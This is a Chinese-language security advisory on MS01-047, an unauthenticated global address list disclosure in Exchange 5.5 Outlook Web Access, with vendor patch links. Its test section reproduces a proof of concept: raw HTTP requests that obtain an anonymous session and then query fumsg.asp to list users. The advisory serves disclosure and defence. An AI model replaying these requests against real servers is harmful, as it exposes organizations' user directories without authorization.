安全研究

安全漏洞
Microsoft Exchange OWA 全球地址簿泄漏漏洞(MS01-047)

发布日期:2001-09-11
更新日期:2001-09-11

受影响系统:
Microsoft Outlook Web Access for Exchange Server 5.5
  - Microsoft Windows NT 4.0
描述:
BUGTRAQ  ID: 3301
CVE(CAN) ID: CVE-2001-0660

OWA((Outlook Web Access))是Exchange 5.5和2000的一个功能,可以允许用户通过
web浏览器而不是邮件客户端来访问其邮件帐号。
Exchange 5.5的OWA提供的服务中有一个查询全球地址簿(GAL)的功能。按设计,这是一
个必须通过认证才能提供的功能,它由一个双层结构实现 - 一个提供用户接口的前台层
和一个执行实际查询的后台层。但是只有前台层真正进行了认证检查。能够正确地构造请
求并发送给后台函数的攻击者可以不经过认证而进行GAL查询。

攻击者可以通过直接访问一个ASP脚本(fumsg.asp)来查询全球地址簿中的用户信息。
  

<*来源:Noam Rathaus (noamr@securiteam.com)
  链接:Microsoft Security Bulletin MS01-047:
       http://www.microsoft.com/technet/security/bulletin/MS01-047.asp
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Noam Rathaus (noamr@securiteam.com)提供了如下测试代码:

1) Contact:
GET /exchange/root.asp?acs=anon HTTP/1.1
Host: www.example.com


2) Access the redirected page, and resend the issued cookie.
GET /exchange/logonfrm.asp HTTP/1.1
Host: www.example.com
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN


3) Access the redirected page, and resend the issued cookie.
GET /exchange/root.asp?acs=anon HTTP/1.1
Host: www.example.com
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN


4) Issue this request to obtain a list of users with the letter 'a' in
their name (e.g. Administrator)
POST /exchange/finduser/fumsg.asp HTTP/1.1
Host: www.example.com
Accept: */*
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDGGQGQGFW=EABMCPIDGABPDJIKNOGBBPPN

DN=a&FN=&LN=&TL=&AN=&CP=&DP=&OF=&CY=&ST=&CO=

建议:
厂商补丁:

微软已经为此发布了一个安全公告(MS01-047)以及相应补丁程序:
http://www.microsoft.com/technet/security/bulletin/MS01-047.asp

补丁下载:

    微软Exchange 5.5:
    http://www.microsoft.com/Downloads/Release.asp?ReleaseID=32483

浏览次数:4664
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障